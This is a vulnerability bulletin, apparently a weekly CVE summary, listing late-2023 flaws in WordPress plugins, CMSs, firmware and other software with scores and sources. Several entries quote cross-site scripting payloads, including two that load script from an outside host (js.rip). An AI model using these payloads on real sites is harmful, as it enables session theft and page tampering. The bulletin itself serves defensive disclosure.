wordpress — wordpressExposure of Sensitive Information to an Unauthorized Actor vulnerability in VeronaLabs WP SMS – Messaging & SMS Notification for WordPress, WooCommerce, GravityForms, etc. This issue affects WP SMS – Messaging & SMS Notification for WordPress, WooCommerce, GravityForms, etc: from n/a through 6.0.4.2023-12-285.3CVE-2023-27447
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in ibericode HTML Forms allows Stored XSS. This issue affects HTML Forms: from n/a through 1.3.28.2023-12-285.9CVE-2023-50836
[email protected]
wordpress — wordpressCross-Site Request Forgery (CSRF) vulnerability in Bill Minozzi Disable Json API, Login Lockdown, XMLRPC, Pingback, Stop User Enumeration Anti Hacker Scan. This issue affects Disable Json API, Login Lockdown, XMLRPC, Pingback, Stop User Enumeration Anti Hacker Scan: from n/a through 4.34.2023-12-285.4CVE-2023-50858
[email protected]
wordpress — wordpressCross-Site Request Forgery (CSRF) vulnerability in InspireUI MStore API. This issue affects MStore API: from n/a through 4.10.1.2023-12-295.4CVE-2023-50878
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in weForms weForms – Easy Drag & Drop Contact Form Builder For WordPress allows Stored XSS. This issue affects weForms – Easy Drag & Drop Contact Form Builder For WordPress: from n/a through 1.6.17.2023-12-295.9CVE-2023-50896
[email protected]
wordpress — wordpressCross-Site Request Forgery (CSRF) vulnerability in Bright Plugins Block IPs for Gravity Forms. This issue affects Block IPs for Gravity Forms: from n/a through 1.0.1.2023-12-295.4CVE-2023-51358
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Ginger Plugins Sticky Chat Widget: Click to chat, SMS, Email, Messages, Call Button, Live Chat and Live Support Button allows Stored XSS. This issue affects Sticky Chat Widget: Click to chat, SMS, Email, Messages, Call Button, Live Chat and Live Support Button: from n/a through 1.1.8.2023-12-295.9CVE-2023-51361
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Bit Assist Chat Widget: WhatsApp Chat, Facebook Messenger Chat, Telegram Chat Bubble, Line Messenger, Live Chat Support Chat Button, WeChat, SMS, Call Button, Customer Support Button with floating Chat Widget allows Stored XSS. This issue affects Chat Widget: WhatsApp Chat, Facebook Messenger Chat, Telegram Chat Bubble, Line Messenger, Live Chat Support Chat Button, WeChat, SMS, Call Button, Customer Support Button with floating Chat Widget: from n/a through 1.1.9.2023-12-295.9CVE-2023-51371
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in HasThemes HashBar – WordPress Notification Bar allows Stored XSS. This issue affects HashBar – WordPress Notification Bar: from n/a through 1.4.1.2023-12-295.9CVE-2023-51372
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in ZeroBounce ZeroBounce Email Verification & Validation allows Stored XSS. This issue affects ZeroBounce Email Verification & Validation: from n/a through 1.0.11.2023-12-295.9CVE-2023-51374
[email protected]
wordpress — wordpressCross-Site Request Forgery (CSRF) vulnerability in Rise Themes Rise Blocks – A Complete Gutenberg Page Builder. This issue affects Rise Blocks – A Complete Gutenberg Page Builder: from n/a through 3.1.2023-12-295.4CVE-2023-51378
[email protected]
wordpress — wordpressExposure of Sensitive Information to an Unauthorized Actor vulnerability in Senol Sahin AI Power: Complete AI Pack – Powered by GPT-4. This issue affects AI Power: Complete AI Pack – Powered by GPT-4: from n/a through 1.8.2.2023-12-295.3CVE-2023-51527
[email protected]
wordpress — wordpressExposure of Sensitive Information to an Unauthorized Actor vulnerability in impleCode Product Catalog Simple. This issue affects Product Catalog Simple: from n/a through 1.7.6.2023-12-295.3CVE-2023-51687
[email protected]
wordpress — wordpressExposure of Sensitive Information to an Unauthorized Actor vulnerability in impleCode eCommerce Product Catalog Plugin for WordPress. This issue affects eCommerce Product Catalog Plugin for WordPress: from n/a through 3.3.26.2023-12-295.3CVE-2023-51688
[email protected]
wordpress — wordpressThe Divi theme for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin’s ‘et_pb_text’ shortcode in all versions up to, and including, 4.23.1 due to insufficient input sanitization and output escaping on user supplied custom field data. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.2023-12-235.4CVE-2023-6744
[email protected]
[email protected]
wordpress — wordpressA vulnerability was found in BestWebSoft Portfolio Plugin up to 2.04 on WordPress. It has been classified as problematic. This affects an unknown part. The manipulation leads to cross-site request forgery. It is possible to initiate the attack remotely. Upgrading to version 2.06 is able to address this issue. The patch is named 68af950330c3202a706f0ae9bbb52ceaa17dda9d. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-248955.2023-12-264.3CVE-2012-10017
[email protected]
[email protected]
[email protected]
wordpress — wordpressURL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in CRM Perks Integration for HubSpot and Contact Form 7, WPForms, Elementor, Ninja Forms. This issue affects Integration for HubSpot and Contact Form 7, WPForms, Elementor, Ninja Forms: from n/a through 1.2.8.2023-12-294.7CVE-2023-31095
[email protected]
wordpress — wordpressURL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in WP Directory Kit. This issue affects WP Directory Kit: from n/a through 1.1.9.2023-12-294.7CVE-2023-31229
[email protected]
wordpress — wordpressURL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in Dylan James Zephyr Project Manager. This issue affects Zephyr Project Manager: from n/a through 3.3.9.2023-12-294.7CVE-2023-31237
[email protected]
wordpress — wordpressURL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in Pexle Chris Library Viewer. This issue affects Library Viewer: from n/a through 2.0.6.2023-12-294.7CVE-2023-32101
[email protected]
wordpress — wordpressURL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in PluginOps MailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder. This issue affects MailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder: from n/a through 4.0.9.3.2023-12-294.7CVE-2023-32517
[email protected]
wordpress — wordpressCross-Site Request Forgery (CSRF) vulnerability in Marios Alexandrou Add Any Extension to Pages. This issue affects Add Any Extension to Pages: from n/a through 1.4.2023-12-284.3CVE-2023-50873
[email protected]
wordpress — wordpressCross-Site Request Forgery (CSRF) vulnerability in WPExpertsio New User Approve. This issue affects New User Approve: from n/a through 2.5.1.2023-12-294.3CVE-2023-50902
[email protected]
wordpress — wordpressCross-Site Request Forgery (CSRF) vulnerability in WebbaPlugins Appointment & Event Booking Calendar Plugin – Webba Booking. This issue affects Appointment & Event Booking Calendar Plugin – Webba Booking: from n/a through 4.5.33.2023-12-294.3CVE-2023-51354
[email protected]
wordpress — wordpressCross-Site Request Forgery (CSRF) vulnerability in Brain Storm Force Ultimate Addons for WPBakery Page Builder. This issue affects Ultimate Addons for WPBakery Page Builder: from n/a through 3.19.17.2023-12-294.3CVE-2023-51402
[email protected]
wordpress — wordpressURL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in CodePeople Calculated Fields Form. This issue affects Calculated Fields Form: from n/a through 1.2.28.2023-12-294.1CVE-2023-51517
[email protected]
wordpress — wordpressURL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in AAM Advanced Access Manager – Restricted Content, Users & Roles, Enhanced Security and More. This issue affects Advanced Access Manager – Restricted Content, Users & Roles, Enhanced Security and More: from n/a through 6.9.18.2023-12-294.7CVE-2023-51675
[email protected]
wordpress — wordpressServer-Side Request Forgery (SSRF) vulnerability in Leevio Happy Addons for Elementor. This issue affects Happy Addons for Elementor: from n/a through 3.9.1.1.2023-12-294.9CVE-2023-51676
[email protected]
y_project — ruoyiA vulnerability was found in y_project RuoYi 4.7.8. It has been declared as problematic. This vulnerability affects unknown code of the file /login of the component HTTP POST Request Handler. The manipulation of the argument rememberMe with the input falsen3f0m<script>alert(1)</script>p86o0 leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249136.2023-12-284.3CVE-2023-7133
[email protected]
[email protected]
[email protected]
yiisoft — yii2-authclientyii2-authclient is an extension that adds OpenID, OAuth, OAuth2 and OpenId Connect consumers for the Yii framework 2.0. In yii2-authclient prior to version 2.2.15, the Oauth1/2 `state` and OpenID Connect `nonce` is vulnerable for a `timing attack` since it is compared via regular string comparison (instead of `Yii::$app->getSecurity()->compareString()`). Version 2.2.15 contains a patch for the issue. No known workarounds are available.2023-12-226.1CVE-2023-50708
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
yiisoft — yii2-authclientyii2-authclient is an extension that adds OpenID, OAuth, OAuth2 and OpenId Connect consumers for the Yii framework 2.0. In yii2-authclient prior to version 2.2.15, the Oauth2 PKCE implementation is vulnerable in 2 ways. First, the `authCodeVerifier` should be removed after usage (similar to `authState`). Second, there is a risk for a `downgrade attack` if PKCE is being relied on for CSRF protection. Version 2.2.15 contains a patch for the issue. No known workarounds are available.2023-12-226.8CVE-2023-50714
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
ìzmir_katip_çelebi_university — university_information_management_systemImproper Input Validation vulnerability in İzmir Katip Çelebi University University Information Management System allows Absolute Path Traversal. This issue affects University Information Management System: before 30.11.2023.2023-12-276.5CVE-2023-6190
[email protected]

Back to top

 

Low Vulnerabilities

Primary
Vendor — Product
DescriptionPublishedCVSS ScoreSource & Patch Info
bestwebsoft — portfolio_pluginA vulnerability was found in BestWebSoft Portfolio Plugin up to 2.27. It has been declared as problematic. This vulnerability affects the function bws_add_menu_render of the file bws_menu/bws_menu.php. The manipulation of the argument bwsmn_form_email leads to cross site scripting. The attack can be initiated remotely. Upgrading to version 2.28 is able to address this issue. The name of the patch is d2ede580474665af56ff262a05783fbabe4529b8. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-248956.2023-12-263.5CVE-2014-125109
[email protected]
[email protected]
[email protected]
code-projects — client_details_systemA vulnerability was found in code-projects Client Details System 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /admin/regester.php. The manipulation of the argument fname/lname/email/contact leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249146 is the identifier assigned to this vulnerability.2023-12-292.4CVE-2023-7143
[email protected]
[email protected]
[email protected]
code-projects — intern_membership_management_systemA vulnerability was found in code-projects Intern Membership Management System 2.0. It has been classified as problematic. This affects an unknown part of the file /user_registration/ of the component User Registration. The manipulation of the argument userName/firstName/lastName/userEmail with the input “><ScRiPt>confirm(document.domain)</ScRiPt>h0la leads to cross site scripting. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249135.2023-12-283.5CVE-2023-7132
[email protected]
[email protected]
[email protected]
code-projects — qr_code_generatorA vulnerability was found in code-projects QR Code Generator 1.0. It has been classified as problematic. This affects an unknown part of the file /download.php?file=author.png. The manipulation of the argument file with the input “><iMg src=N onerror=alert(document.domain)> leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249153 was assigned to this vulnerability.2023-12-293.5CVE-2023-7149
[email protected]
[email protected]
[email protected]
code-projects — record_management_systemA vulnerability classified as problematic has been found in code-projects Record Management System 1.0. Affected is an unknown function of the file /main/offices.php of the component Offices Handler. The manipulation of the argument officename with the input “><script src=”https://js.rip/b23tmbxf49”></script> leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249138 is the identifier assigned to this vulnerability.2023-12-282.4CVE-2023-7135
[email protected]
[email protected]
[email protected]
code-projects — record_management_systemA vulnerability classified as problematic was found in code-projects Record Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /main/doctype.php of the component Document Type Handler. The manipulation of the argument docname with the input “><script src=”https://js.rip/b23tmbxf49”></script> leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249139.2023-12-282.4CVE-2023-7136
[email protected]
[email protected]
[email protected]
honor — com.hihonor.magichomeSome Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause device service exceptions.2023-12-293.3CVE-2023-23430
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — com.hihonor.vmallSome Honor products are affected by information leak vulnerability, successful exploitation could cause the information leak2023-12-293.3CVE-2023-23437
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — lge-an00Some Honor products are affected by information leak vulnerability, successful exploitation could cause the information leak.2023-12-293.3CVE-2023-23440
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_osSome Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause device service exceptions.2023-12-293.3CVE-2023-23428
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_uiSome Honor products are affected by out of bounds read vulnerability, successful exploitation could cause information leak.2023-12-293.2CVE-2023-51432
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_uiSome Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause information leak.2023-12-292.9CVE-2023-51433
3836d913-7555-4dd0-a509-f5667fdf5fe4
mattermost — mattermostMattermost version 8.1.6 and earlier fails to sanitize channel mention data in posts, which allows an attacker to inject markup in the web client.2023-12-293.7CVE-2023-7113
[email protected]
myaac — myaacA vulnerability was found in slawkens MyAAC up to 0.8.13. It has been declared as problematic. This vulnerability affects unknown code of the file system/pages/bugtracker.php. The manipulation of the argument bug[2][‘subject’]/bug[2][‘text’]/report[‘subject’] leads to cross site scripting. The attack can be initiated remotely. Upgrading to version 0.8.14 is able to address this issue. The name of the patch is 83a91ec540072d319dd338abff45f8d5ebf48190. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-248848.2023-12-223.5CVE-2023-7076
[email protected]
[email protected]
[email protected]
[email protected]
nautobot — nautobotNautobot is a Network Source of Truth and Network Automation Platform built as a web application atop the Django Python framework with a PostgreSQL or MySQL database. When submitting a Job to run via a Job Button, only the model-level `extras.run_job` permission is checked (i.e., does the user have permission to run Jobs in general). Object-level permissions (i.e., does the user have permission to run this specific Job?) are not enforced by the URL/view used in this case. A user with permissions to run even a single Job can actually run all configured JobButton Jobs. Fix will be available in Nautobot 1.6.8 and 2.1.02023-12-223.5CVE-2023-51649
[email protected]
[email protected]
[email protected]
[email protected]
nextcloud — nextcloud/cloudNextcloud/Cloud is a calendar app for Nextcloud. An attacker can gain access to stacktrace and internal paths of the server when generating an exception while editing a calendar appointment. It is recommended that the Nextcloud Calendar app is upgraded to 4.5.32023-12-223.5CVE-2023-48308
[email protected]
[email protected]
novel-plus — novel-plusA vulnerability classified as problematic has been found in Novel-Plus up to 4.2.0. This affects an unknown part of the file /user/updateUserInfo of the component HTTP POST Request Handler. The manipulation of the argument nickName leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is c62da9bb3a9b3603014d0edb436146512631100d. It is recommended to apply a patch to fix this issue. The identifier VDB-249201 was assigned to this vulnerability.2023-12-293.5CVE-2023-7166
[email protected]
[email protected]
[email protected]
[email protected]
novel-plus — novel-plusA vulnerability was found in Novel-Plus up to 4.2.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file novel-admin/src/main/java/com/java2nb/novel/controller/FriendLinkController.java of the component Friendly Link Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The patch is named d6093d8182362422370d7eaf6c53afde9ee45215. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-249307.2023-12-292.4CVE-2023-7171
[email protected]
[email protected]
[email protected]
[email protected]
pandora_fms — pandora_fmsImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Pandora FMS on all allows Cross-Site Scripting (XSS). Allows you to edit the Web Console user notification options. This issue affects Pandora FMS: from 700 through 774.2023-12-293CVE-2023-41813
[email protected]
pandora_fms — pandora_fmsImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Pandora FMS on all allows Cross-Site Scripting (XSS). Through an HTML payload (iframe tag) it is possible to carry out XSS attacks when the user receiving the messages opens their notifications. This issue affects Pandora FMS: from 700 through 774.2023-12-293.7CVE-2023-41814
[email protected]
poly — multiple_productsA vulnerability classified as problematic has been found in Poly CCX 400, CCX 600, Trio 8800 and Trio C60. This affects an unknown part of the component Web Configuration Application. The manipulation leads to insufficiently random values. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249255.2023-12-293.7CVE-2023-4462
[email protected]
[email protected]
[email protected]
[email protected]
poly — multiple_productsA vulnerability, which was classified as problematic, was found in Poly CCX 400, CCX 600, Trio 8800 and Trio C60. Affected is an unknown function of the component Configuration File Import. The manipulation of the argument device.auth.localAdminPassword leads to unverified password change. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249258 is the identifier assigned to this vulnerability.2023-12-292.7CVE-2023-4465
[email protected]
[email protected]
[email protected]
[email protected]
poly — multiple_productsA vulnerability has been found in Poly CCX 400, CCX 600, Trio 8800 and Trio C60 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component Web Interface. The manipulation leads to protection mechanism failure. The attack can be launched remotely. The vendor explains that they do not regard this as a vulnerability as this is a feature that they offer to their customers who have a variety of environmental needs that are met through different firmware builds. To avoid potential roll-back attacks, they remove vulnerable builds from the public servers as a remediation effort. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249259.2023-12-292.7CVE-2023-4466
[email protected]
[email protected]
[email protected]
[email protected]
sourcecodester — engineers_online_portalA vulnerability was found in SourceCodester Engineers Online Portal 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the component Add Engineer Handler. The manipulation of the argument first name/last name with the input <script>alert(0)</script> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249182 is the identifier assigned to this vulnerability.2023-12-292.4CVE-2023-7160
[email protected]
[email protected]
w3c — online-spellchecker-pyA vulnerability was found in w3c online-spellchecker-py up to 20140130. It has been rated as problematic. This issue affects some unknown processing of the file spellchecker. The manipulation leads to cross site scripting. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The identifier of the patch is d6c21fd8187c5db2a50425ff80694149e75d722e. It is recommended to apply a patch to fix this issue. The identifier VDB-248849 was assigned to this vulnerability.2023-12-233.1CVE-2014-125108
[email protected]
[email protected]
[email protected]
winter_cms — winter_cmsWinter is a free, open-source content management system. Users with access to backend forms that include a ColorPicker FormWidget can provide a value that would then be included without further processing in the compilation of custom stylesheets via LESS. This had the potential to lead to a Local File Inclusion vulnerability. This issue has been patched in v1.2.4.2023-12-293.3CVE-2023-52085
[email protected]
[email protected]
winter_cms — winter_cmsWinter is a free, open-source content management system. Prior to 1.2.4, users with the `media.manage_media` permission can upload files to the Media Manager and rename them after uploading. Previously, media manager files were only sanitized on upload, not on renaming, which could have allowed a stored XSS attack. This issue has been patched in v1.2.4.2023-12-282CVE-2023-52083
[email protected]
[email protected]
winter_cms — winter_cms
 
Winter is a free, open-source content management system. Prior to 1.2.4, Users with access to backend forms that include a ColorPicker FormWidget can provide a value that would then be rendered unescaped in the backend form, potentially allowing for a stored XSS attack. This issue has been patched in v1.2.4.2023-12-282CVE-2023-52084
[email protected]
[email protected]
wordpress — wordpressA vulnerability was found in PlusCaptcha Plugin up to 2.0.6 on WordPress and classified as problematic. Affected by this issue is some unknown functionality. The manipulation leads to cross site scripting. The attack may be launched remotely. Upgrading to version 2.0.14 is able to address this issue. The patch is identified as 1274afc635170daafd38306487b6bb8a01f78ecd. It is recommended to upgrade the affected component. VDB-248954 is the identifier assigned to this vulnerability.2023-12-263.5CVE-2015-10127
[email protected]
[email protected]
[email protected]
wordpress — wordpressMissing Authorization vulnerability in Anders Thorborg. This issue affects Anders Thorborg: from n/a through 1.4.12.2023-12-293.1CVE-2023-22676
[email protected]
wordpress — wordpressURL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in SolidWP Solid Security – Password, Two Factor Authentication, and Brute Force Protection. This issue affects Solid Security – Password, Two Factor Authentication, and Brute Force Protection: from n/a through 8.1.4.2023-12-293.7CVE-2023-28786
[email protected]

Back to top

 

Severity Not Yet Assigned

Primary
Vendor — Product
DescriptionPublishedCVSS ScoreSource & Patch Info
3cx — 3cxThe CRM Integration in 3CX before 18.0.9.23 and 20 before 20.0.0.1494 allows SQL Injection via a first name, search string, or email address.2023-12-25not yet calculatedCVE-2023-49954
[email protected]
alfasado_inc. — powercmsPowerCMS (6 Series, 5 Series, and 4 Series) contains a stored cross-site scripting vulnerability. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user’s web browser. Note that all versions of PowerCMS 3 Series and earlier which are unsupported (End-of-Life, EOL) are also affected by this vulnerability.2023-12-26not yet calculatedCVE-2023-49117
[email protected]
[email protected]
alfasado_inc. — powercmsOpen redirect vulnerability in PowerCMS (6 Series, 5 Series, and 4 Series) allows a remote unauthenticated attacker to redirect users to arbitrary web sites via a specially crafted URL. Note that all versions of PowerCMS 3 Series and earlier which are unsupported (End-of-Life, EOL) are also affected by this vulnerability.2023-12-26not yet calculatedCVE-2023-50297
[email protected]
[email protected]
apache — dolphinschedulerImproper Input Validation vulnerability in Apache DolphinScheduler. An authenticated user can cause arbitrary, unsandboxed javascript to be executed on the server. This issue affects Apache DolphinScheduler: until 3.1.9. Users are recommended to upgrade to version 3.1.9, which fixes the issue.2023-12-30not yet calculatedCVE-2023-49299
[email protected]
[email protected]
apache — ofbizArbitrary file properties reading vulnerability in Apache Software Foundation Apache OFBiz when user operates an uri call without authorizations. The same uri can be operated to realize a SSRF attack also without authorizations. Users are recommended to upgrade to version 18.12.11, which fixes this issue.2023-12-26not yet calculatedCVE-2023-50968
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
apache — ofbizThe vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)2023-12-26not yet calculatedCVE-2023-51467
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
apache — openofficeApache OpenOffice documents can contain links that call internal macros with arbitrary arguments. Several URI Schemes are defined for this purpose. Links can be activated by clicks, or by automatic document events. The execution of such links must be subject to user approval. In the affected versions of OpenOffice, approval for certain links is not requested; when activated, such links could therefore result in arbitrary script execution. This is a corner case of CVE-2022-47502.2023-12-29not yet calculatedCVE-2023-47804
[email protected]
[email protected]
array — arrayos_agMotionPro in Array ArrayOS AG before 9.4.0.505 on AG and vxAG allows remote command execution via crafted packets. AG and vxAG 9.3.0.259.x are unaffected.2023-12-22not yet calculatedCVE-2023-51707
[email protected]
arris_solutions,_inc. — dg860a/dg1670a
 
Arris DG860A and DG1670A devices have predictable default WPA2 PSKs that could lead to unauthorized remote access. (They use the first 6 characters of the SSID and the last 6 characters of the BSSID, decrementing the last digit.)2023-12-27not yet calculatedCVE-2023-40038
[email protected]
[email protected]
artistscope — artisbrowserAn issue in ArtistScope ArtisBrowser v.34.1.5 and before allows an attacker to bypass intended access restrictions via interaction with the com.artis.browser.IntentReceiverActivity component.2023-12-27not yet calculatedCVE-2023-49000
[email protected]
[email protected]
asp.net_zero — asp.net_zeroAn open redirect through HTML injection in user messages in Asp.Net Zero before 12.3.0 allows remote attackers to redirect targeted victims to any URL via the ‘<meta http-equiv=”refresh”‘ in the WebSocket messages.2023-12-26not yet calculatedCVE-2023-48003
[email protected]
[email protected]
barracuda_networks_inc. — barracuda_esg_applianceUse of a Third Party library produced a vulnerability in Barracuda Networks Inc. Barracuda ESG Appliance which allowed Parameter Injection. This issue affected Barracuda ESG Appliance, from 5.1.3.001 through 9.2.1.001, until Barracuda removed the vulnerable logic.2023-12-24not yet calculatedCVE-2023-7102
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
bees_blog — bees_blogThe beesblog (aka Bees Blog) component before 1.6.2 for thirty bees allows Reflected XSS because controllers/front/post.php sharing_url is mishandled.2023-12-30not yet calculatedCVE-2023-52264
[email protected]
[email protected]
[email protected]
bentley_systems — assetwise_integrity_information_serverBentley eB System Management Console applications within Assetwise Integrity Information Server allow an unauthenticated user to view configuration options via a crafted request, leading to information disclosure. This affects eB System management Console before 23.00.02.03 and Assetwise ALIM For Transportation before 23.00.01.25.2023-12-22not yet calculatedCVE-2023-51708
[email protected]
beyondtrust_corporation — privilege_management_for_windowsThe Challenge Response feature of BeyondTrust Privilege Management for Windows (PMfW) before 2023-07-14 allows local administrators to bypass this feature by decrypting the shared key, or by locating the decrypted shared key in process memory. The threat is mitigated by the Agent Protection feature.2023-12-25not yet calculatedCVE-2023-49944
[email protected]
[email protected]
brave_browser — brave_browserBrave Browser before 1.59.40 does not properly restrict the schema for WebUI factory and redirect. This is related to browser/brave_content_browser_client.cc and browser/ui/webui/brave_web_ui_controller_factory.cc.2023-12-30not yet calculatedCVE-2023-52263
[email protected]
[email protected]
[email protected]
[email protected]
brother_industries,_ltd. — iprint&scan_desktop_for_windowsImproper link resolution before file access (‘Link Following’) issue exists in iPrint&Scan Desktop for Windows versions 11.0.0 and earlier. A symlink attack by a malicious user may cause a Denial-of-service (DoS) condition on the PC.2023-12-26not yet calculatedCVE-2023-51654
[email protected]
buffalo_inc. — vr-s1000VR-S1000 firmware Ver. 2.37 and earlier allows an attacker with access to the product’s web management page to execute arbitrary OS commands.2023-12-26not yet calculatedCVE-2023-45741
[email protected]
[email protected]
buffalo_inc. — vr-s1000Improper neutralization of argument delimiters in a command (‘Argument Injection’) vulnerability in VR-S1000 firmware Ver. 2.37 and earlier allows an authenticated attacker who can access to the product’s command line interface to execute an arbitrary command.2023-12-26not yet calculatedCVE-2023-46681
[email protected]
[email protected]
buffalo_inc. — vr-s1000VR-S1000 firmware Ver. 2.37 and earlier uses a hard-coded cryptographic key which may allow an attacker to analyze the password of a specific product user.2023-12-26not yet calculatedCVE-2023-46711
[email protected]
[email protected]
buffalo_inc. — vr-s1000VR-S1000 firmware Ver. 2.37 and earlier allows a network-adjacent unauthenticated attacker who can access the product’s web management page to obtain sensitive information.2023-12-26not yet calculatedCVE-2023-51363
[email protected]
[email protected]
buildkite — elastic_ci_for_awsA symbolic link following vulnerability in Buildkite Elastic CI for AWS versions prior to 6.7.1 and 5.22.5 allows the buildkite-agent user to change ownership of arbitrary directories via the PIPELINE_PATH variable in the fix-buildkite-agent-builds-permissions script.2023-12-22not yet calculatedCVE-2023-43116
[email protected]
buildkite — elastic_ci_for_awsA time-of-check-time-of-use race condition vulnerability in Buildkite Elastic CI for AWS versions prior to 6.7.1 and 5.22.5 allows the buildkite-agent user to bypass a symbolic link check for the PIPELINE_PATH variable in the fix-buildkite-agent-builds-permissions script.2023-12-22not yet calculatedCVE-2023-43741
[email protected]
com.sdjictec.qdmetro — com.sdjictec.qdmetroAn issue in the export component AdSdkH5Activity of com.sdjictec.qdmetro v4.2.2 allows attackers to open a crafted URL without any filtering or checking.2023-12-28not yet calculatedCVE-2023-51010
[email protected]
documize_inc. — documizeSQL Injection vulnerability in Documize version 5.4.2, allows remote attackers to execute arbitrary code via the user parameter of the /api/dashboard/activity endpoint.2023-12-29not yet calculatedCVE-2023-23634
[email protected]
easy-rules-mvel — easy-rules-mveleasy-rules-mvel v4.1.0 was discovered to contain a remote code execution (RCE) vulnerability via the component MVELRule.2023-12-29not yet calculatedCVE-2023-50571
[email protected]
exim — eximExim before 4.97.1 allows SMTP smuggling in certain PIPELINING/CHUNKING configurations. Remote attackers can use a published exploitation technique to inject e-mail messages with a spoofed MAIL FROM address, allowing bypass of an SPF protection mechanism. This occurs because Exim supports <LF>.<CR><LF> but some other popular e-mail servers do not.2023-12-24not yet calculatedCVE-2023-51766
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
filerun — filerunFileRun 20220519 allows SQL Injection via the “dir” parameter in a /?module=users&section=cpanel&page=list request.2023-12-22not yet calculatedCVE-2022-47532
[email protected]
flask-security-too — flask-security-tooAn open redirect vulnerability in the python package Flask-Security-Too <=5.3.2 allows attackers to redirect unsuspecting users to malicious sites via a crafted URL by abusing the ?next parameter on the /login and /register routes.2023-12-26not yet calculatedCVE-2023-49438
[email protected]
[email protected]
follet_learning_solutions — destiny_suite
 
A Cross Site Scripting (XSS) vulnerability exists in Follet Learning Solutions Destiny through 20.0_1U. via the handlewpesearchform.do. searchString.2023-12-25not yet calculatedCVE-2023-38826
[email protected]
[email protected]
fortanix — enclaveos_confidential_computing_managerAn issue was discovered in Fortanix EnclaveOS Confidential Computing Manager (CCM) Platform before 3.32 for Intel SGX. Lack of pointer-alignment validation logic in entry functions allows a local attacker to access unauthorized information. This relates to the enclave_ecall function and system call layer.2023-12-30not yet calculatedCVE-2023-38021
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
fortanix — enclaveos_confidential_computing_managerAn issue was discovered in Fortanix EnclaveOS Confidential Computing Manager (CCM) Platform before 3.29 for Intel SGX. Insufficient pointer validation allows a local attacker to access unauthorized information. This relates to strlen and sgx_is_within_user.2023-12-30not yet calculatedCVE-2023-38022
[email protected]
[email protected]
free5gc — free5gcAn issue was discovered in free5GC version 3.3.0, allows remote attackers to execute arbitrary code and cause a denial of service (DoS) on AMF component via crafted NGAP message.2023-12-22not yet calculatedCVE-2023-49391
[email protected]
